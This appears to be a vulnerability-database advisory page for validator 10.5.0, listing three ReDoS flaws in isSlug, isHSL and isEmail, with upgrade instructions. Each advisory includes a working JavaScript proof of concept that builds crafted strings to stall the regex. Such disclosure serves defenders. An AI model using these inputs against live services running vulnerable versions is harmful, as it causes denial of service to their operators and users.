org.webjars.npm:validator@10.5.0 vulnerabilities

  • latest version

    13.11.0

  • latest non vulnerable version

  • first published

    8 years ago

  • latest version published

    1 years ago

  • licenses detected

  • package manager

  • Direct Vulnerabilities

    Known vulnerabilities in the org.webjars.npm:validator package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Regular Expression Denial of Service (ReDoS)

    org.webjars.npm:validator is an A library of string validators and sanitizers.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isSlug function

    PoC

    var validator = require("validator")
    function build_attack(n) {
        var ret = "111"
        for (var i = 0; i < n; i++) {
            ret += "a"
        }
    
        return ret+"_";
    }
    for(var i = 1; i <= 50000; i++) {
        if (i % 10000 == 0) {
            var time = Date.now();
            var attack_str = build_attack(i)
           validator.isSlug(attack_str)
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
       }
    }
    

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade org.webjars.npm:validator to version 13.7.0 or higher.

    [,13.7.0)
    • M
    Regular Expression Denial of Service (ReDoS)

    org.webjars.npm:validator is an A library of string validators and sanitizers.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isHSL function.

    PoC

    var validator = require("validator")
    function build_attack(n) {
        var ret = "hsla(0"
        for (var i = 0; i < n; i++) {
            ret += " "
        }
    
        return ret+"◎";
    }
    for(var i = 1; i <= 50000; i++) {
        if (i % 1000 == 0) {
            var time = Date.now();
            var attack_str = build_attack(i)
           validator.isHSL(attack_str)
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
       }
    }
    

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade org.webjars.npm:validator to version 13.6.0 or higher.

    [,13.6.0)
    • M
    Regular Expression Denial of Service (ReDoS)

    org.webjars.npm:validator is an A library of string validators and sanitizers.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isEmail function.

    PoC

    var validator = require("validator")
    function build_attack(n) {
        var ret = ""
        for (var i = 0; i < n; i++) {
            ret += "<"
        }
    
        return ret+"";
    }
    for(var i = 1; i <= 50000; i++) {
        if (i % 10000 == 0) {
            var time = Date.now();
            var attack_str = build_attack(i)
            validator.isEmail(attack_str,{ allow_display_name: true })
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
       }
    }
    

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade org.webjars.npm:validator to version 13.6.0 or higher.

    [,13.6.0)